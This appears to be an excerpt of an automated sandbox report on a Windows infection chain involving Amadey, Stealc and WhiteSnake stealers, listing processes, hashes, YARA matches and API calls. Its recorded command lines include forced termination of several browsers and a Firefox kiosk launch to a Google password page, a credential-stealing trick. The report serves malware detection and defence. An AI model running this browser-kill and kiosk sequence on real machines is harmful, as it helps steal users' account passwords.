Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:03:34
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe"
Imagebase:	0xe60000
File size:	1'928'704 bytes
MD5 hash:	35D4E711A6F11E28761E26740A4DAD7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2122356515.0000000000E61000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:03:36
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x3f0000
File size:	1'928'704 bytes
MD5 hash:	35D4E711A6F11E28761E26740A4DAD7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2109439630.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2150060118.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:03:36
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'928'704 bytes
MD5 hash:	35D4E711A6F11E28761E26740A4DAD7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2154589683.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2112931245.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:04:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'928'704 bytes
MD5 hash:	35D4E711A6F11E28761E26740A4DAD7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2342681406.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:04:12
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe"
Imagebase:	0x2c0000
File size:	1'341'360 bytes
MD5 hash:	61162ABF98861E7E3176DF82D232523E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2492272266.0000000005530000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:04:14
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xe0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WhiteSnake, Description: Yara detected WhiteSnake Stealer, Source: 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:04:15
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028
Imagebase:	0xdf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:04:23
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe"
Imagebase:	0xed0000
File size:	3'039'744 bytes
MD5 hash:	EC6BF4A264E7EF670873EF017D9F1C00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:04:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe"
Imagebase:	0x650000
File size:	2'145'792 bytes
MD5 hash:	08093CA094E4BD396C0A1202363CE047
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:04:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe"
Imagebase:	0x730000
File size:	919'552 bytes
MD5 hash:	F75D194E93D6D5623177EF886053C197
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:04:40
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:04:40
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:04:42
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:04:43
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:04:43
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:04:43
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:04:43
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:04:43
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	22:04:44
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	22:04:47
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe"
Imagebase:	0x180000
File size:	2'814'976 bytes
MD5 hash:	7319CE2EC56F42705DAC4591A2B6C22D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	22:04:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002767001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002767001\num.exe"
Imagebase:	0xd00000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:04:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe"
Imagebase:	0xc20000
File size:	1'928'704 bytes
MD5 hash:	35D4E711A6F11E28761E26740A4DAD7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000002.2895934799.0000000000C21000.00000040.00000001.01000000.0000001B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000003.2855232962.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:04:52
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	48%
Signature Coverage:	20%
Total number of Nodes:	25
Total number of Limit Nodes:	0

Executed Functions

Function 00E5E153 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E5E153

Strings

}$}, xrefs: 00E5E1FA

Memory Dump Source

Source File: 00000004.00000002.2197699048.0000000000E5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000004.00000002.2197278597.0000000000CD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197342461.0000000000CD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197369604.0000000000CDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197402151.0000000000CE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197433301.0000000000CE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197460441.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197622959.0000000000E44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197651469.0000000000E46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197782788.0000000000E71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197817698.0000000000E72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197884361.0000000000E73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197922201.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198019481.0000000000E7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198053438.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198090060.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198115897.0000000000E99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198147478.0000000000EA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198180082.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198209503.0000000000EA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198236112.0000000000EAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198269467.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198335233.0000000000ED8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198366175.0000000000EDB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198398557.0000000000EDC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198427783.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198456038.0000000000EE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198484583.0000000000EE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198511051.0000000000EEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198537703.0000000000EED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198565943.0000000000EF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198597387.0000000000EF6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198625503.0000000000EF7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198654152.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198681714.0000000000F02000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198708822.0000000000F05000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198735292.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198770858.0000000000F0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198798775.0000000000F16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198825173.0000000000F17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F6E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198871522.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198926872.0000000000F84000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198952837.0000000000F86000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_cd0000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: LibraryLoad
String ID: }$}
API String ID: 1029625771-1872091177
Opcode ID: f2c22599237c330ffb423fa3c0c3580fff564458ee22328713ab7babe0cea43d
Instruction ID: dab27dfe2198b645163fff672ef727623868b88382559293ee6a9ca047e6598a
Opcode Fuzzy Hash: f2c22599237c330ffb423fa3c0c3580fff564458ee22328713ab7babe0cea43d
Instruction Fuzzy Hash: B03135B140C700EFE309AF19D9816BAFBF9EF98711F128C1DE6C592220D73544859B67

Function 053115D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: f181b4e713bf8e4aad841048231d3834b498f560baf8941e789497611483f89a
Instruction ID: 391b70b0f0a6bf8f574d1106fd0b58023a5594f7e7738d245743f1354bd0424b
Opcode Fuzzy Hash: f181b4e713bf8e4aad841048231d3834b498f560baf8941e789497611483f89a
Instruction Fuzzy Hash: F4C14971D102599FDB18CFB8C8857EEBBB2FB45310F148129ED55E7280DBB49891CB86

Function 053115C4 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Memory Dump Source

Source File: 00000004.00000002.2201229384.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_NSXWT8JG74T0IR99MSITIVFVWS7V.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: a611ee8a81e8a96db50cfdac6c142b05e1022921111253051a0ef203af363e3e
Instruction ID: c246e586201d3106f7fb0af71a031b37583974975b7a287ced9e0aeb15dfc159
Opcode Fuzzy Hash: a611ee8a81e8a96db50cfdac6c142b05e1022921111253051a0ef203af363e3e
Instruction Fuzzy Hash: 80C15971D102599FDB18CFB8C8857EEBBB2FB45310F148229ED55E7280DBB49891CB86

Function 00E61857 Relevance: 1.6, APIs: 1, Instructions: 102
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00000000), ref: 00E6185E

Memory Dump Source

Source File: 00000004.00000002.2197699048.0000000000E5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000004.00000002.2197278597.0000000000CD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197342461.0000000000CD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197369604.0000000000CDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197402151.0000000000CE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197433301.0000000000CE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197460441.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197622959.0000000000E44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197651469.0000000000E46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197782788.0000000000E71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197817698.0000000000E72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197884361.0000000000E73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2197922201.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198019481.0000000000E7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198053438.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198090060.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198115897.0000000000E99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198147478.0000000000EA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198180082.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198209503.0000000000EA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198236112.0000000000EAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2198269467.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
